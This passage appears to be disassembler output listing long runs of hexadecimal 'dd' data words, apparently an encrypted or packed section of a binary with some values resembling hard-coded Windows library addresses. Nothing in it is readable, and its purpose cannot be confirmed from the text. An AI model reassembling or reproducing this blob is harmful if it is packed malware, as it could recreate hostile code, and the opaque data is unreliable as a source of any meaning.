		dd 6AF30BB8h, 0C9A51D33h, 0E5C540DDh, 913B5E0Fh, 95336AF0h
		dd 0C70E3FD5h, 365E0FE1h, 361998EAh, 16D4067Ch,	24A1A1FCh
		dd 0F62C8FE9h, 98381D6Dh, 16D47B22h, 41842D8Eh,	30AA389Fh
		dd 2FEB2544h, 888540D5h, 0DE554DEEh, 0C13933E8h, 0E11C3A74h
		dd 17BC3A24h, 69AAB852h, 3EBB7689h, 944E5DDh, 29C3E059h
		dd 77E08E70h, 336164DAh, 0AFFAD6CCh, 0A1771AC1h, 947E6CD3h
		dd 967C6DCAh, 0AE82EABEh, 740E0206h, 761B2D1h, 6A369BC6h
		dd 0F218CA18h, 5312B9A7h, 4A18A7BDh, 9656F9A0h,	9051FE78h
		dd 85DFC37Ah, 0EE24EC20h, 5FB5B61Dh, 46ACBE05h,	749E4CCBh
		dd 2A3C9BD5h, 324B2C0h,	7C000000h, 825B821Eh, 0CC9E3168h
		dd 25C80726h, 243B4AF3h, 507C93CAh, 84A8E786h, 0C4E42B52h
		dd 0FDC732Ah, 5D0944E5h, 53A496B7h, 0BD55E389h,	4, 835DEB01h
		dd 1C8704EBh, 0D5685C24h, 89000007h, 8950243Ch,	405E0h
		dd 42D0000h, 87000000h,	895C2404h, 57552414h, 807DC4BFh
		dd 0EFC14762h, 1BEF8108h, 816D6A0Bh, 793A5AF7h,	5FFD89FBh
		dd 8108EDC1h, 1D7CABEDh, 0EDC14568h, 5F58108h, 890635C1h
		dd 0EC835DEFh, 24248904h, 4240483h, 8157535Ah, 74EB2404h
		dd 815B78A7h, 0A774EBEBh, 85A8978h, 24148B5Bh, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 815F2434h, 4C4h
		dd 0EB5DE900h, 0E32DFFF8h, 636C9E99h, 0AD91ABB8h, 0FFC50306h
		dd 1F7B93E0h, 85C4D641h, 3882792Dh, 31838770h, 0A32F4140h
		dd 0C744186Ah, 8E802h, 0EF7C0000h, 4F3C7CC2h, 0B55E6340h
		dd 9CC6816Fh, 8B000075h, 0E9C02BFBh, 0Ah, 0C19DD59Bh, 94BC32E7h
		dd 34FF4C39h, 5A4DB730h, 81D9BF0Fh, 42613EAh, 21C2816Bh
		dd 816BE6B3h, 51837FEAh, 8E0F6071h, 0Fh, 0AE9h,	0BB8CB900h
		dd 2D2EFFEEh, 61633A61h, 0C3816052h, 515AFB04h,	61F8B70Fh
		dd 0E906048Fh, 5, 0B54B3E0Bh, 0CE9D1h, 0A8A0000h, 0B04A92E0h
		dd 0C1C350A0h, 0E883D74Dh, 8870F04h, 53000000h,	0C598D781h
		dd 8159192Dh, 0FF8B28F8h, 1C850FFFh, 66000000h,	0C28CDF81h
		dd 21E9h, 0B83DF900h, 0EBF114DEh, 0AA096F40h, 222BB820h
		dd 0FCB51EDEh, 0FFFF65E9h, 0D0A927FFh, 51F4585h, 17E98759h
		dd 3F000000h, 7E6BAEh, 4 dup(0)
		dd 0B2E90000h, 6800000Dh, 6AD9577h, 0F8EA3EE9h,	965968FFh
		dd 34E906ADh, 68FFF8EAh, 6AD972Dh, 0F8EA2AE9h, 97CA68FFh
		dd 20E906ADh, 68FFF8EAh, 6AD9B35h, 0F8EA16E9h, 9E2E68FFh
		dd 0CE906ADh, 68FFF8EAh, 6AD9F44h, 0F8EA02E9h, 1FF5F2FFh
		dd 49A3BB82h, 7A9051FCh, 0AE40602Fh, 0DE083413h, 0AA53843h
		dd 0DA65B066h, 0EDA8E50Bh, 0BE9914C2h, 6BCB46ACh, 7AD172E5h
		dd 0A4C73361h, 6FB95B9Eh, 648A5A01h, 6D10BFEEh,	65606EBBh
		dd 0FD6DCEA8h, 913EB2EFh, 0A4C10039h, 0DB336AEFh, 0D2FCA15Dh
		dd 168D8B72h, 0B0C2BE54h, 7B961260h, 3AF65812h,	36h, 24E11CF8h
		dd 0C451913Ah, 8F343EB2h, 0AA1435DFh, 0DE8F7BD8h, 6AF212BBh
		dd 0BA541433h, 739D4C83h, 4BA5BBCAh, 0E8F850Dh,	86027038h
		dd 0F658BF6Bh, 72Ah, 0EA72E800h, 0D6000008h, 3C6D875Bh
		dd 0EE3BD191h, 4E28E5E0h, 0B2C7E5EDh, 544B83Eh,	0EA9E7BE8h
		dd 7A70913Ah, 8C66336Ah, 756DC290h, 0B51298D4h,	0B0225BB1h
		dd 6A7A769Bh, 10D17833h, 0C3740EFAh, 336A7AAAh,	2A53BDACh
		dd 34D064CCh, 3453DBC1h, 63ADDC36h, 0DAEC6DA7h,	4960E41Eh
		dd 8F6582Fh, 59h, 77E11C8Ah, 7BA69E70h,	594511E4h, 0BF45231Fh
		dd 0B0BE5010h, 0CC95EA07h, 4C06FC35h, 0B2A43FCBh, 6B79E63Eh
		dd 7A50CF85h, 456780C3h, 7E61336Ah, 0DC7FF1A8h,	336A45B7h
		dd 240641B9h, 72389FCEh, 0F3BF8100h, 8EE0581h, 0A458F658h
		dd 0A2861692h, 0A7C09207h, 0B0h, 6D875B6Bh, 39EF913Ch
		dd 0DC46C73Fh, 0AF52B73Ch, 0CC93E70Ch, 25118935h, 9357FE2Fh
		dd 7ACC079h, 0BB8CA1Ch,	0E761B957h, 0DCE9120Fh,	1A43ADB3h
		dd 0DA71CCB8h, 35CC7FCDh, 0E03DD78Bh, 3E6F85A5h, 0B6AB15D0h
		dd 0C5B12D5Ch, 0C42E3C9Bh, 0C52B39A5h, 0B242A412h, 4DD8323Eh
		dd 0A3CD4885h, 128F7308h, 0E38D6538h, 338E5844h, 49BE6814h
		dd 8EEDF4F3h, 0E70365E8h, 2C00000Ah, 0F944D13Bh, 838A07EDh
		dd 5EF934DEh, 6AD5608Eh, 0C6059046h, 72A44867h,	0A7491827h
		dd 0D600236Ah, 4EEFC5Bh, 0B427A989h, 33617C1Fh,	5B5CE601h
		dd 6BD26FB9h, 0F6009D77h, 3A24E11Ch, 0B2D8E991h, 4B158D3Eh
		dd 0C6F96ACDh, 0E8FF336Ah, 0E3716906h, 0C6E60F42h, 9399336Ah
		dd 0ACDD3734h, 82F02032h, 588BEB06h, 0BDAAF6h, 5B680000h
		dd 913C6D87h, 0C10039EFh, 35CCEEC4h, 0FF4AA082h, 2340EB71h
		dd 3535CCECh, 5CB2B2DDh, 1CA3B12Dh, 0D85A44Eh, 0AD4766D0h
		dd 4EC562D3h, 58482412h, 0C586C6CAh, 0A5C3BF78h, 0A6C72D3Eh
		dd 1FB8263Ch, 3EB290A7h, 804EDB37h, 20AEC845h, 134AA4BBh
		dd 28C2E0AFh, 2493F95Ah, 0CB273812h, 0CC1A06ADh, 0AF2AD671h
		dd 0CC3657B9h, 4ABF6FD0h, 7D108EEEh, 0A05FBh, 0CF250200h
		dd 0F913CB72h, 2AC0E1ACh, 5EB0B09Fh, 8E5844C3h,	5A55E833h
		dd 6AD560B6h, 3D18957Bh, 0CE49C412h, 0BBBBF61Ch, 7F618235h
		dd 0D4773361h, 1DB95B4Eh, 0CCE909BAh, 0B7A31F35h, 0E50FD37Ah
		dd 7D67CCA8h, 5B99D9ABh, 913C6D87h, 86EE3BD1h, 46E70DD9h
		dd 0E9648D2Eh, 900A35CCh, 0F133AEA4h, 234DC805h, 0B2F53688h
		dd 76CA203Eh, 35D6DBD5h, 0E01DD8C5h, 0E70DD986h, 98065C46h
		dd 0D9CF8F3Fh, 0E319E8Eh, 0C3DD78Bh, 77ACA692h,	7076DD9Bh
		dd 6D65C89Ah, 4DCB9570h, 0C5728BB1h, 319AA43Ah,	82DDE790h
		dd 36302C86h, 0DDE76C85h, 0CA987282h, 0A614FC49h, 0FA5DDB89h
		dd 88769649h, 0B211635Fh, 0B1B11E58h, 6347CE5Bh, 0DCFC1689h
		dd 92B3DE82h, 9315Ah, 9B717600h, 0CD27070Eh, 0FE14D570h
		dd 2AC4E4A3h, 5A8CB09Fh, 9621BCCFh, 0A6E13CEAh,	71DC6987h
		dd 20D984Eh, 0F77FCA20h, 7EA5CE69h, 104B3361h, 69875B02h
		dd 0EA866A6h, 7B9155BDh, 1CEA938Fh, 913A24E1h, 3EB2F315h
		dd 2041EA70h, 36336AF3h, 0B12986DCh, 0B36508B7h, 9551FE66h
		dd 0B35EE57Fh, 0E2DE3436h, 0F3EB18BBh, 30CC336Ah, 8521812Fh
		dd 0C671FF1Ch, 336A1DADh, 8A0D47B3h, 336A0D1Dh,	0FA64A15Ch
		dd 15C7A151h, 5F0EB538h, 69A4C5B1h, 0F02C9379h,	0A38EF03Dh
		dd 8944AA2h, 0D4910000h, 82A4E33Eh, 7172DD68h, 21070E9Bh
		dd 29CB72CFh, 0C667A2FFh, 44D10729h, 8904EAF9h,	0F835E38Eh
		dd 2A678D5Dh, 0F011BA44h, 0E633617Eh, 0E11CFF43h, 0E94CE556h
		dd 785235CCh, 0E9345DFEh, 0C03A35CCh, 11218AD4h, 253EB2C3h
		dd 7171C89Eh, 4FEAF9Bh,	50FF7128h, 5EE57F91h, 68D76288h
		dd 1DF5947Eh, 9E3927E2h, 336AF24Dh, 0F112C523h,	0E7336AF2h
		dd 4BB9850Fh, 0B0ACDFA2h, 0AF6BA5C4h, 4DA78755h, 12C59F0h
		dd 726D336Ah, 1D172E5h,	0EBC7336Ah, 81C671FFh, 66336A01h
		dd 4E424AAEh, 52208630h, 8D8805FDh, 7D9641D9h, 63336ADBh
		dd 82E29B77h, 0DB3E5304h, 0CE20336Ah, 4A0D7647h, 461C0877h
		dd 6AB420F5h, 295BA733h, 0BC09E3FBh, 0FE3BD591h, 0B9C56CAFh
		dd 15A0B7AFh, 237231F6h, 8AF31637h, 0D336AACh, 0A04A18C7h
		dd 0A34F05F9h, 31DB8351h, 24E11EE4h, 5717BC3Ah,	0FA14A7BDh
		dd 0DD336AACh, 0CB997776h, 8CCF7E54h, 8FC9488Ah, 2300AF85h
		dd 542E90C9h, 0D7F2768Ch, 638BF901h, 5F0ED8C4h,	0A2DB0D30h
		dd 550E4430h, 1B0h, 24E11CDDh, 0F61BBC3Ah, 0F835CCE9h
		dd 8D5B4502h, 290E2DCh,	0B2F395A9h, 28CB703Eh, 0E2862B8Ch
		dd 32A8336Ah, 3B970C46h, 3ED4963Dh, 0EDE85E3h, 8437B9E0h
		dd 336AE26Fh, 0D7AD9971h, 0D6907A68h, 0E242EF48h, 7E54336Ah
		dd 802F41E4h, 630D4A9Ch, 151CBFB5h, 1AB8B45Fh, 0CC65D65Ch
		dd 0D2B8205Eh, 4C466AF8h, 890047BFh, 52394276h,	45AFB300h
		dd 779D4DC8h, 5BC863E9h, 4DB820B8h, 20AE1F55h, 70DF6AA7h
		dd 0A0EF9E70h, 72DD6882h, 0B2929E70h, 0B69E846h, 1F83BA54h
		dd 0F3163723h, 6BA0A0Ch, 6FBDD7D3h, 0DB48E37Bh,	0CD35BBE3h
		dd 0C0ACF9D5h, 0FDAC461Bh, 1ECC7301h, 0D26987A7h, 3D305CCDh
		dd 3E5108E4h, 0FDE9C513h, 3EC204Ch, 6E99558Ah, 0D20DF98Bh
		dd 8A32937h, 35BB7A9Bh,	7A23C99Dh, 0D681EF98h, 35BB7ABDh
		dd 95B37A3h, 7A93309Bh,	2D8535BBh, 5D8BB590h, 0EC29A62Ch
		dd 7AB42982h, 48A235BBh, 89052FDh, 0BB7A02AFh, 0C2BE1435h
		dd 9E48749Bh, 2B59A1EFh, 0B603E9F9h, 3731DB8Fh,	2331DB88h
		dd 926282h, 0AF89DC27h,	924DB9CBh, 2D4EE977h, 0C335BBBEh
		dd 534F9984h, 872C8F15h, 0A935BBBEh, 276E2331h,	1DB0E903h
		dd 1EF0F772h, 6AFA7B22h, 8B5D47ECh, 6ABE0D2h, 3835BBBEh
		dd 279BC214h, 10C09208h, 0D83230E2h, 0AE0C24Dh,	817C7B53h
		dd 0BECB74E7h, 47EC35BBh, 0E0C08F61h, 0E3DF740Eh, 9740CE56h
		dd 35BBBE7Ah, 0BE49FA5Dh, 635F35BBh, 3F84DE34h,	339BC214h
		dd 0BC1F59B4h, 35BBBE07h, 78C1E229h, 0F3AA8668h, 4C86130Fh
		dd 2F3E875Bh, 0BA58D5C1h, 33A4C23Bh, 3EB2F607h,	0EB5B32Fh
		dd 0DD78B563h, 0DD7AE432h, 58BAE309h, 0B2339B0Ah, 0E7658E29h
		dd 0B84C336Ah, 0CCE95832h, 0F19E7423h, 746E1FF5h, 2A26DE98h
		dd 0FA475E93h, 6FF57B09h, 520BDDC0h, 65A11260h,	71381426h
		dd 0EE64A89Dh, 0C5B1075Fh, 0C02A3C9Bh, 57F013B2h, 70388032h
		dd 322041EAh, 0DC363880h, 274690B3h, 0A05DA9BBh, 0A250FB65h
		dd 0B433FE18h, 0C2E02F5Eh, 6651B728h, 2726884Ah, 529C1h
		dd 93796E00h, 0C52F3F06h, 0F61CCD48h, 22CC9CBBh, 5284A897h
		dd 8E2984C7h, 5EF934E2h, 69D4618Fh, 3A059046h, 0EF77C228h
		dd 725DF661h, 18433361h, 24E11C1Ah, 0FDA5913Ah,	5B003EB2h
		dd 0C43E6FB9h, 80B9118Eh, 6AFD2541h, 62905833h,	58BCCBE6h
		dd 11D07FF6h, 0F5B92A8Dh, 33AF336Ah, 0FBEF2647h, 342F2511h
		dd 0CCh, 0E90E57FEh, 0DD9B35CCh, 0E94FE457h, 5E4135CCh
		dd 0B2EDD188h, 0E960812Ah, 9C7635CCh, 0BC93D2A0h, 0EA1A44AEh
		dd 560E5702h, 917F6D91h, 7D1AF6E8h, 0B4CD876Dh,	76F015CEh
		dd 0CC5FA4C5h, 0A544A35h, 6A365E84h, 0E824423Eh, 7477D699h
		dd 57006E1Dh, 35CC5B3Ah, 9BCB62Ch, 0B30EE4C6h, 73FD18D3h
		dd 42FB15D4h, 169C0250h, 5B822F88h, 0A58435CCh,	0ACA61C4Bh
		dd 0CC5BCE6Bh, 6C0AE035h, 790BDDC7h, 43A9B9D4h,	36D308F6h
		dd 5B468F28h, 0BA1035CCh, 9B274083h, 52135CCh, 5717BEEFh
		dd 838F8CBDh, 4A56F071h, 0A136AD38h, 0CC1B9D36h, 49178335h
		dd 0CC1B45EEh, 837F6B35h, 1BF572E5h, 0A4E335CCh, 0C33F6EB8h
		dd 0CEDA5AD7h, 8E000000h, 7777E11Ch, 0D780EC9Dh, 35CCE9BAh
		dd 6E5A36ACh, 69875B00h, 0C235BCDBh, 0C564501Bh, 0E00E9D9h
		dd 6AF0EA6Eh, 11218A18h, 253EB225h, 7071C89Eh, 3FFAE9Ah
		dd 8DF7617h, 29ABABE6h,	822394D2h, 94336BE8h, 0A0CC0F3Eh
		dd 0DF336BE8h, 67FBEA51h, 6BE85FF4h, 7D694133h,	5080D2CCh
		dd 0A90BA622h, 664AF659h, 0C8000000h, 3B25E01Ch, 0CCE97390h
		dd 0DC8D6535h, 125CB2B1h, 2F5EB4B5h, 3C28C2E0h,	696B6B26h
		dd 0E14ED492h, 0E2552FC5h, 35CCE995h, 0D247E212h, 2E9B7425h
		dd 5A03FF54h, 0CC5E8E27h, 0F3018935h, 0C1AF6666h, 0F6D6A04Dh
		dd 439A6686h, 0F0150D12h, 290E237h, 0CC7BECA9h,	7F6CCB35h
		dd 780AF495h, 0CA52EFDBh, 0DF95436Dh, 3E875B83h, 3BA7C62Ch
		dd 0F3F71E4Fh, 7C68C19h, 0E9B6DB7Ch, 42B835CCh,	0A3AF0856h
		dd 4B3EB2C7h, 42EB2E5Fh, 3D336AF6h, 609B1F75h, 3FF658B7h
		dd 36h,	0B9A4DD31h, 0BAE309DDh,	31116858h, 49FA5D1Bh, 5F336A70h
		dd 1C511163h, 913A24E1h, 3EB2D8E9h, 0D574158Dh,	336AC6B8h
		dd 5DD92BC7h, 0F6588BA6h, 0EAE5h, 875BAD00h, 0D285036Dh
		dd 35CCE9B1h, 435E4DE0h, 0C6711417h, 1940AABFh,	0CAFC9A5h
		dd 35CCD6E7h, 0E2431189h, 365781A3h, 7821CB9Fh,	73A54FF4h
		dd 299052E1h, 36A8D107h, 434CCF5Ah, 2435CCD1h, 97B8B9E8h
		dd 4B191147h, 0B10CE6C4h, 0F3ED496h, 0A1CF4687h, 0B220E036h
		dd 0CD6EF63Eh, 336BE8A4h, 2964504Ah, 2402AC29h,	2394D2CEh
		dd 38134DDDh, 63895AE1h, 82ECD83Ah, 16E93B25h, 9F97F89Bh
		dd 69D4615Dh, 0C62E9147h, 0B98EEE24h, 2305094h,	70750000h
		dd 26000F9Ah, 15D671CCh, 0C59BA2FFh, 8DB79E2Bh,	22BBCE5Bh
		dd 0E03DEB95h, 0DD6886A5h, 0C994F72h, 7ECB2101h, 0A4CD6EF0h
		dd 4A336177h, 0B95B031Fh, 0E909BA1Dh, 0A31F35CCh, 2F27AB7h
		dd 0C4223CEEh, 19A6BCB8h, 3FC5A349h, 0CC78779Ch, 0F3817935h
		dd 6709B6BEh, 1CEFA3B1h, 0BC3A24E1h, 0D4185C40h, 491B3249h
		dd 0B247C4F6h, 49F0EA3Eh, 6A279D0Ah, 0BCD6E233h, 586A8138h
		dd 0D9C0F6h, 5B420000h,	5A8E6987h, 8104AB80h, 0B759F495h
		dd 0C993861h, 6B35CCC6h, 8ABEC49Bh, 81D358B9h, 4FDA3032h
		dd 5108E2C0h, 0E7817C79h, 1AF0F259h, 7B27F748h,	0D9863EB2h
		dd 16B9E036h, 0B2C0BC6Ah, 6A68A51Dh, 63D4926Bh,	3812923Eh
		dd 0A51B6E40h, 64BFD487h, 49A13883h, 4EDB0459h,	8B589556h
		dd 312DBA23h, 1E02A937h, 6B15BAC8h, 8235B3BDh, 3883F361h
		dd 88C99B77h, 7A66E38Dh, 0B3CB5DA8h, 0D7C3FE89h, 0A54F1FB6h
		dd 322E1A84h, 0ED952BCDh, 0CB2D208Eh, 11Ah, 69A44E1Fh
		dd 47D2382Eh, 0B401EBF8h, 0F835DB89h, 2865B35Dh, 91B33C91h
		dd 9C43CA47h, 75182772h, 3B2F16A3h, 50DE44D1h, 61764AE7h
		dd 69295C33h, 2D3CB95Bh, 0F35AD7C3h, 88AB01EFh,	796F8BE5h
		dd 7AE6308Dh, 0FD58EF8Ah, 44F73F8Fh, 35CCCA2Fh,	97EDD931h
		dd 0DD833A28h, 0EF264733h, 988411FBh, 0CA08B912h, 630E35CCh
		dd 7D2A94B5h, 0C607CF85h, 1D9B214Fh, 0CCCA09BAh, 0D1A31F35h
		dd 0BB5F0A6Eh, 3432A83Eh, 2032E48Fh, 0D8C4638Dh, 1BCF740Eh
		dd 716D83A2h, 0D1491924h, 615FCD66h, 0C6CC9433h, 0A94A6B9Ch
		dd 712804FEh, 3F7454D2h, 2D67438Ah, 92BC26DEh, 0C1366BD0h
		dd 1F4EA486h, 4062D1A3h, 0AA111FAAh, 0C82A53B9h, 0BF5515BAh
		dd 8F61478Eh, 0A228B6DEh, 0BFF19809h, 6B148E4Ah, 0F0E29B75h
		dd 0B744BE62h, 88B15B08h, 0DD023E16h, 0C03F1076h, 0B75D0DB2h
		dd 0E50FD37Ah, 0DF01FD7Bh, 0FC5AD190h, 916BBD0h, 0A2184ABFh
		dd 592BC1E5h, 870F4h, 5DFA0000h, 52EE64B2h, 825B821Eh
		dd 0CC9E3168h, 25C80726h, 243B4AF3h, 507C93CAh,	84A8E786h
		dd 0C4E42B52h, 0FDC732Ah, 5D0944E5h, 50A496B7h,	4055854h
		dd 83000000h, 48704E8h,	89525C24h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 242C895Ch, 81E18951h, 4C1h,	4E98300h
		dd 5C240C87h, 81240489h, 4ECh, 24048900h, 0AD93A9B8h, 58C58906h
		dd 24048B54h, 5504C483h, 2F5ABE56h, 740119F3h, 8F5E0424h
		dd 68810840h, 0F32F5A08h, 2434FF19h, 4C48158h, 8B000000h
		dd 8956242Ch, 4C681E6h,	83000000h, 348704C6h, 0A0E95C24h
		dd 0BAFFF8DCh, 99E95736h, 99B05934h, 0A083B81Dh, 0C50306ADh
		dd 3C5CE0FFh, 8F423DDCh, 0B20D11B7h, 14156AEh, 7A2642DDh
		dd 0EB2B1Fh, 253F63C8h,	0C95F6762h, 1F73007h, 348A50D8h
		dd 8D1A502Ch, 0ADEA25D6h, 0BD0A3D12h, 57403C32h, 6D947CF4h
		dd 0A8DD0093h, 0ECE978DEh, 0
		dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch,	77F7E2h
		dd 77F7E3h, 277E600h, 5	dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 14000000h,	0EC1639E7h, 495EA12Fh, 0C1FCAE35h
		dd 9C3379D2h, 0A354753Dh, 90499680h, 6E812995h,	0F9B1743Bh
		dd 24940BC3h, 923B6066h, 2E1D88DBh, 5D461560h, 0E2B94636h
		dd 113604DEh, 59B79C66h, 0C934B34Ch, 8A9779FBh,	4AE1EA60h
		dd 158F963Eh, 4434B349h, 71620212h, 113604DEh, 59B79C66h
		dd 0C934B34Ch, 8A904EFBh, 4AE1EA60h, 0E3DED3Eh,	44321569h
		dd 22321F8Fh, 14148666h, 8FAF7E8Ch, 0C5CB9951h,	2232118Ah
		dd 35369C66h, 8823FC3Eh, 0FF2E1566h, 0A82A7238h, 316C743h
		dd 0F1E6A6B1h, 0AD18E4C3h, 2232156Fh, 19E6E1EAh, 93F6EE0Dh
		dd 3B8F96C2h, 2234B8C7h, 11B19169h, 8521566h, 9DB917A5h
		dd 42B79807h, 0E434B80Ch, 87E2EA9Eh, 44320BE1h,	33DB7566h
		dd 71321566h, 0FD3B5593h, 10005AB8h, 67E2FC4Ah,	0E9705C1Ah
		dd 88329069h, 0C9531566h, 8F5885E3h, 9B81A60h, 61321566h
		dd 44321575h, 0A0B38325h, 0FE4D1901h, 0CC2A829h, 0DEC1FB01h
		dd 0DDECA5EEh, 19B91AB6h, 87321566h, 443217E7h,	2D537566h
		dd 113201E9h, 83DB7566h, 8E321566h, 95EA356Ch, 0FAC6B442h
		dd 46B9C2A3h, 6DB7D307h, 7434B36Ah, 1135FD06h, 0C2D21566h
		dd 61976000h, 1E9DAC05h, 906D7E19h, 5A75B296h, 165A7404h
		dd 42AEBDDEh, 3581AB00h, 9187EA07h, 0BD34B36Fh,	531290EBh
		dd 1FDB13CFh, 2321566h,	2E8403CAh, 0A2715589h, 3D3CB4D8h
		dd 35475ADh, 443FFCB9h,	0CD3A1566h, 0AC34AA18h,	0DA98C6C7h
		dd 25BFAF93h, 0A43DC599h, 1132157Eh, 8832068Fh,	979FBB66h
		dd 0ED131670h, 468A796Bh, 56DD7D0Dh, 0A1312FE7h, 9A390EFh
		dd 1DB13C0h, 0B321566h,	0D4A90F03h, 90D554BAh, 0C5D1C78Ch
		dd 4F62DD8Fh, 0E22950E3h, 22321560h, 113BFC66h,	4F621566h
		dd 0FE9BD461h, 0E47E24AFh, 0B73E3CE3h, 9BDB5060h, 0E5321566h
		dd 440ED088h, 0F4682361h, 1D32FC1Ah, 304C37EDh,	4B5A0199h
		dd 0F8BC670Fh, 88321568h, 74F9297Eh, 3AA2C2EFh,	4544545Bh
		dd 3DCD4CE6h, 42943AEBh, 0E1B7989Fh, 0F834B35Ch, 88321561h
		dd 4946814Fh, 0DDB8A155h, 905475B6h, 902E581h, 4A8FC0A7h
		dd 0A7BB7453h, 179421CBh, 8832018Fh, 0E0F1D066h, 0BCCE567Ah
		dd 1DAB847Fh, 0A88196AFh, 0E9E3FF4Dh, 0BB7D32Ah, 5234B36Ah
		dd 0E36C7D9Eh, 54DB8901h, 0AC321566h, 88AD4722h, 0D6F3D734h
		dd 0B3F416CBh, 0DD80FEDDh, 0B71D98D3h, 0D9607560h, 25CE4E3Fh
		dd 18F190EBh, 953D13C0h, 88321567h, 0ADE2EA9Fh,	2232156Bh
		dd 7B03AAF9h, 0F2158AE6h, 91B9E3A6h, 29BC1A6Bh,	0F8321566h
		dd 88321560h, 743DC16Fh, 0A7BBA26Bh, 179FB401h,	88139769h
		dd 4B521566h, 223215E1h, 1121FD66h, 79601566h, 0A2C9C9Fh
		dd 43841ACCh, 88DEBF4Bh, 5D9AE537h, 82534F6Ah, 843E3CE3h
		dd 79CA4160h, 66507D4Fh, 44339969h, 0DDCB1566h,	0B71D98D3h
		dd 883BFC60h, 42271566h, 9A314A8Dh, 9CF76CD2h, 2E08D6E3h
		dd 4422FC60h, 0DED51566h, 24C6AEA4h, 3F473D94h,	3727BEDDh
		dd 0F2CD7CD3h, 7AB79C9Ah, 0E834B8C7h, 0FC37AC00h, 0BB7D307h
		dd 5434B36Ah, 0EBD5AE06h, 25CA5A99h, 22321F8Fh,	0C5791A66h
		dd 0DE5B8977h, 2C53C9D6h, 0F8522DA4h, 11321F8Fh, 6D818366h
		dd 9ABACD1Dh, 0DADEF582h, 3EBFA099h, 63D13C0h, 44321567h
		dd 0E1B79893h, 1E34B35Ch, 883219E9h, 42B81A66h,	2D321566h
		dd 113215E8h, 74E2EA66h, 0E55D90EFh, 425213CBh,	0D2B34D36h
		dd 0AB05B79Ah, 0F9B17407h, 24940137h, 3AB71A66h, 61321567h
		dd 4432156Ch, 2B91D1A5h, 0A5826B20h, 0DF49E97h,	4294194Fh
		dd 2222FC23h, 7B0A1566h, 0C7AFF637h, 0C41CFD9Dh, 81E8BAD5h
		dd 975A6721h, 74C83518h, 6BBFA099h, 27DB13C0h, 1321566h
		dd 5E9213EEh, 7EF190EBh, 0CB5213C0h, 11321574h,	521A3414h
		dd 6439E7B0h, 927BFF35h, 1D590ECFh, 77538265h, 4AB31AB6h
		dd 0CB321566h, 1132156Fh, 0DF57BF7h, 0E39462C4h, 2222FC9Eh
		dd 0D4EC1566h, 0CB8FDD4Ah, 3EBBE849h, 555506B4h, 94BB9533h
		dd 8E9FB415h, 6DB7D39Fh, 6E34B36Ah, 11249C69h, 73D1566h
		dd 44321576h, 22321E8Fh, 5FD5D866h, 0B425DE57h,	28C986BEh
		dd 4E2D60Eh, 10BA1A86h,	70321566h, 6BBFA099h, 2FDB13C0h
		dd 0C5321566h, 16BCF0BAh, 32F55C9Dh, 8B0E03E4h,	2BF190EBh
		dd 82DB13C0h, 9E321566h, 63B8D967h, 783B69E3h, 87E2EA7Fh
		dd 44321DEFh, 20BF1A66h, 71321566h, 82B31A07h, 0AD321566h
		dd 22321563h, 8E7B5631h, 0FFB79C10h, 0AD34B8C7h, 2232156Eh
		dd 0C2991C98h, 4E950172h, 4432F98Fh, 0A9547566h, 94F474B1h
		dd 8E94194Fh, 4ABD1A34h, 0CB321566h, 1132156Fh,	0AFE28E3Ch
		dd 29666C23h, 0C63F7D1Eh, 1BDBA92Ch, 0EB321566h, 0D44358E5h
		dd 43BA34B4h, 6887EA29h, 6134B354h, 44321574h, 9A3E0745h
		dd 7B7891h, 2FDC26D9h, 5F6C92D6h, 0A7BFD6C0h, 17942FA5h
		dd 88359B69h, 0C43D1566h, 22321567h, 0F8E2EA9Ah, 8832156Eh
		dd 0B50B3664h, 0D539E2F0h, 0B04190EFh, 0EE5213CBh, 0FCEF1BD8h
		dd 5BA85F3Bh, 38B7D307h, 0DA34B36Ah, 0CA3D759Eh, 22321564h
		dd 7E86C2EDh, 0C27A7D07h, 2452B32Ah, 43537406h,	7083AA06h
		dd 775336F0h, 0E2006CD3h, 2220FC60h, 51AB1566h,	87DE752Bh
		dd 2A95F9BEh, 0D10E751Bh, 58E19BE6h, 0B2F190EBh, 0C03D13C0h
		dd 22321567h, 71E2EA9Fh, 5188CFEDh, 25168819h, 834590EFh
		dd 9B3D13CBh, 88321567h, 6DB7D393h, 7034B36Ah, 113E9769h
		dd 0A3D1566h, 44321560h, 22329C69h, 0FB5A1566h,	0E8CF57D2h
		dd 0FF0CF5E6h, 51DB7FA4h, 9C87EA07h, 6134B349h,	44321569h
		dd 0A1CD6C78h, 3C36BDAFh, 9C256669h, 4B3F6EBEh,	223212EEh
		dd 10B01A66h, 71321566h, 7EF190EBh, 33DB13C0h, 0C1321566h
		dd 0D63190F8h, 0DD4DB3D9h, 0E15CC014h, 0D02CC721h, 53DC599h
		dd 44321567h, 3FB79C93h, 7134B37Ch, 3AF39E00h, 56DB7450h
		dd 82321566h, 0D0F9AE71h, 0D0009E63h, 3B05E560h, 70B21246h
		dd 38B7D3A5h, 0FF34B36Ah, 443B9F69h, 0A2521566h, 0AB54BCA8h
		dd 0E0538AFBh, 0B7A5BDC5h, 2232108Fh, 23726D66h, 84DB6AE9h
		dd 0A0321566h, 0FE01008Dh, 0B4E0997Ch, 7718D1BAh, 0E20110D3h
		dd 223BFC60h, 4DA51566h, 8856F5CAh, 0C99F0BE0h,	8408D6E3h
		dd 19BC1A60h, 87321566h, 443217EAh, 0DD537566h,	94BBE0B6h
		dd 8E941263h, 6DB7D39Ah, 7034B36Ah, 11321F8Fh, 0C376D866h
		dd 6AE6F78Dh, 4A09D2D2h, 9BEF2471h, 373DE006h, 0F1CD74BDh
		dd 24943AEBh, 1121FC06h, 0F701566h, 45C17E26h, 2D5A9ECDh
		dd 0C7FDB1E2h, 0AC2951FBh, 5C29463h, 43342F81h,	2BF190EBh
		dd 615213C0h, 44321576h, 623F4EA2h, 9D8BB057h, 0A6CDFBDDh
		dd 2708744Bh, 22321D8Eh, 0C96CA766h, 8D1486F3h,	3888738Ch
		dd 42534C60h, 113FFC06h, 6A941566h, 27AB6BA7h, 0E6095CD1h
		dd 0ED6CE7BDh, 0D1617507h, 4432108Fh, 2FCAB466h, 70536909h
		dd 13DC599h, 44321567h,	17B79C9Eh, 7134B37Eh, 87C9A269h
		dd 443210E7h, 0C8B37366h, 0D753EE43h, 2E3E3CE3h, 57DB4360h
		dd 0A3321566h, 1AE410BCh, 8446A042h, 0A3F4E63Ch, 592CF907h
